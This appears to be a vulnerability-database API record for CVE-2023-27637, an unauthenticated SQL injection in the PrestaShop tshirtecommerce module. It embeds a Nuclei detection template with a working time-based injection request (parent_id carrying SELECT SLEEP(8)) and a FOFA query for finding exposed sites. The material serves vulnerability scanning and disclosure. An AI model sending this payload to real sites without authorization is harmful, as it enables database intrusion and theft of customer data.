{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-27637/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-27637/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-27637/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-27637/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-27637/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-27637"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-27637"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.03299,
      "kev": false,
      "percentile": 0.88026
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-27637.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2023-27637\n\ninfo:\n  name: PrestaShop `tshirtecommerce` Module - SQL Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the designer endpoint, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database.\n  impact: |\n    Unauthenticated attackers can execute time-based SQL injection through the parent_id parameter in the designer endpoint to extract the complete PrestaShop database including user credentials and order data.\n  remediation: |\n    Update the tshirtecommerce module to the latest version and apply all security patches.\n  reference:\n    - https://security.friendsofpresta.org/module/2023/03/21/tshirtecommerce_cwe-89.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-27637\n    - https://codecanyon.net/item/prestashop-custom-product-designer/19202018\n    - https://tshirtecommerce.com/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-27637\n    cwe-id: CWE-89\n    epss-score: 0.03299\n    epss-percentile: 0.88026\n    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:2.1.4:*:*:*:*:prestashop:*:*\n  metadata:\n    max-request: 1\n    vendor: tshirtecommerce\n    product: custom_product_designer\n    framework: prestashop\n    fofa-query: body=\"Prestashop\" && body=\"tshirtecommerce\"\n  tags: cve,cve2023,prestashop,tshirtecommerce,sqli,time-based-sqli,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        @timeout: 30s\n        GET /module/tshirtecommerce/designer?product_id=900982561&parent_id=1;SELECT%20SLEEP(8); HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration>=8\"\n          - \"status_code == 200\"\n          - \"contains(tolower(body), 'product not found')\"\n        condition: and\n# digest: 4a0a004730450221008ad26a80169be7868e214b08f7488443dc1a494543e4ec4cc611b86594f0aa7c022047caecf0f205843dcc58e3911464d513e5959ea2315d7e7d2cfbd7c4403b46a4:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-27637"
}